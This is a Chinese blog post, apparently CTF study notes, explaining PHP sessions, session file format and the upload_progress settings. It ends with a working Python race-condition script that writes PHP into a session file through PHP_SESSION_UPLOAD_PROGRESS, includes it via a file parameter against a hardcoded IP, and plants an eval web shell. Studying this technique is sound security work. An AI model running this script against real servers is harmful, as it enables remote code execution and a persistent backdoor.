关于session

关于session

什么是session

要了解session自然离不开cookie,这里我默认已经了解了cookie。在我看来,cookie与session都是用来记录用户状态的机制。核心区别在于数据存储的位置不同。session一个主要存储在服务器端,cookie一个存储在客户端。当客户端访问服务器时,服务器会以某种形式将客户端信息储存在服务器,这就是session。当该用户再次访问时,服务器会在session中查找该用户状态。

session的工作流程

(1)用户首次访问服务器

  1. 用户发起请求
    当用户第一次访问 Web 服务器(如打开一个网站)时,HTTP 协议本身是 “无状态” 的,服务器此时无法识别该用户的身份或历史操作。
    2. 服务器创建 Session
    为了记录用户状态,服务器会自动创建一个Session 对象(本质是一块存储用户数据的内存 / 文件 / 数据库空间),并生成一个唯一的Session ID(通常是随机字符串,如6ngRT3bwQDO02yUsXE_3gRYR0Ck),用于标识这个 Session 对象。(换句话说就是,创建一个session文件用来储存用户信息,名字叫做sess_Session ID)
  2. 服务器传递 Session ID 给客户端
    服务器通过以下两种方式将 Session ID 发送给客户端(浏览器):
    • 默认方式(推荐):通过 HTTP 响应头的Set-Cookie字段,将 Session ID 封装成一个临时 Cookie(通常名为PHPSESSIDJSESSIONID等,不同语言命名不同),发送给浏览器。浏览器会自动保存这个 Cookie(通常是会话级 Cookie,关闭浏览器后失效)。
    • 备选方式(不推荐):如果客户端禁用了 Cookie,服务器可能会通过URL 重写的方式,将 Session ID 拼接在 URL 中(如http://example.com/index.php?session=xxx),让客户端在后续请求中携带。

(2)当用户再次访问服务器

  1. 客户端携带 Session ID 请求
    当用户再次访问该服务器时(如点击页面、提交表单),浏览器会自动通过以下方式将 Session ID 带回给服务器:
    • 若使用 Cookie:通过 HTTP 请求头的Cookie字段,将存储的 Session ID 发送给服务器(如Cookie: PHPSESSID=6ngRT3bwQDO02yUsXE_3gRYR0Ck)。
    • 若使用 URL 重写:通过 URL 参数携带 Session ID(如http://example.com/index.php?session=6ngRT3bwQDO02yUsXE_3gRYR0Ck)。
  2. 服务器识别并关联 Session
    服务器接收到请求后,从 Cookie 或 URL 中提取 Session ID,然后查找服务器端是否存在对应的 Session 对象:
    • 若存在:直接使用该 Session 对象(读取或更新用户状态,如 “已登录”“购物车商品” 等)。
    • 若不存在(如 Session 已过期、ID 被篡改):服务器会重新创建一个新的 Session 对象和 Session ID,相当于用户 “重新开始会话”。

(3)session的生命周期

  1. 数据读写
    服务器可以在 Session 对象中存储任意用户相关数据(如用户 ID、登录状态、权限信息等),例如:
    • 用户登录成功后,服务器将user_id: 123is_login: true写入 Session。
    • 用户添加商品到购物车时,服务器将商品 ID 存入 Session 的cart列表中。
  2. 过期与销毁
    • 默认过期:Session 有默认的 “空闲超时时间”(如 PHP 默认 24 分钟),若用户长时间不操作,服务器会自动销毁对应的 Session 对象,释放资源。
    • 手动销毁:用户主动退出登录时,服务器会调用session_destroy()等方法,手动删除 Session 数据(但 Session ID 可能仍在客户端,只是对应的数据无效)。

session文件内容

1. 用户身份与状态信息

这是最常见的 Session 数据,用于标识用户身份和当前状态:

  • 用户 ID(如 user_id => 123
  • 登录状态(如 is_login => true
  • 用户名 / 昵称(如 username => "张三"
  • 登录时间(如 login_time => 1620000000

2. 临时操作数据

用于存储用户在单次会话中产生的临时数据,例如:

  • 购物车内容(如 cart => [["id" => 1, "name" => "商品A", "num" => 2]]
  • 表单填写的临时数据(如 form_data => ["phone" => "13800000000"]
  • 分页或筛选条件(如 page_params => ["page" => 2, "sort" => "price"]

3. 安全相关数据

用于验证会话合法性或防止攻击,例如:

  • CSRF 令牌(如 csrf_token => "a1b2c3d4e5f6"
  • 登录 IP 地址(如 login_ip => "192.168.1.1"
  • 会话验证标识(如 session_token => "xyz789"

4. 上传进度数据(与前文配置相关)

当启用了 session.upload_progress 相关配置时,Session 文件会临时存储文件上传的进度信息,例如:

upload_progress_abc123 => [
  "length" => 1048576,  // 总大小(字节)
  "bytes_processed" => 524288,  // 已上传大小
  "done" => 0  // 是否完成(0未完成,1已完成)
]

(键名中的 abc123 是上传请求的标识符,由 session.upload_progress.prefix 和表单字段共同生成)

Session 文件的内容格式

Session 文件中的数据以序列化字符串形式存储,格式为 键名|类型:长度:值;,例如:

user_id|i:123;is_login|b:1;username|s:2:"张三";cart|a:1:{i:0;a:3:{s:2:"id";i:1;s:4:"name";s:4:"商品A";s:3:"num";i:2;}};
  • i:123 表示整数(iinteger 的缩写)
  • b:1 表示布尔值 truebboolean 的缩写)
  • s:2:"张三" 表示字符串(sstring 的缩写),长度为 2(中文字符在部分编码下可能占多个字节,此处仅为示例)
  • a:1:{...} 表示数组(aarray 的缩写)

注意:上传进度数据则不会以序列化字符串形式存储,这也是session文件包含的关键

php.ini设置

该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

注意:

上传进度数据在 Session 中存储的键名是由两个配置参数拼接而成的,格式为:
[prefix] + [表单中隐藏字段的 value 值]

  • session.upload_progress.prefix = "upload_progress_"(固定前缀)
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"(表单中隐藏字段的 name 属性)

当上传表单时,需要手动添加一个隐藏字段,其 name 必须等于 session.upload_progress.name 的值(即 PHP_SESSION_UPLOAD_PROGRESS),而 value 可以自定义。例如:

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="自定义内容">

此时,Session 中存储上传进度数据的键名就是:
upload_progress_自定义内容

对应到http协议中就是图中红框位置

屏幕截图 2025-07-19 171112

session时间竞争(脚本)

import requests
import threading
import io
 
url_upload = "http://38.55.99.195:32803/index.php"
url_include = "http://38.55.99.195:32803/1.php"
url = "http://38.55.99.195:32803/"
sessID = 'rikka'
data = {
    "1": "<?php file_put_contents('3.php','<?php phpinfo();?>'); ?>"  # read()中需要post的内容
}
 
 
def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url_upload,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('2.php','<?php eval($_GET[2]);?>');?>"
                               # 改参数的值就是/tmp/sess_rikka文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('rikka.png', fileBytes)
                           }
                           )
 
 
def read(session):
    while True:
        res1 = session.post(url_include + '?file=/tmp/sessions/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url+'2.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)
 
 
if __name__ == '__main__':
    event = threading.Event()   # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):               # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
 
        event.set()       # 唤醒线程
posted @ 2025-07-21 11:32  shhl  阅读(48)  评论(0)    收藏  举报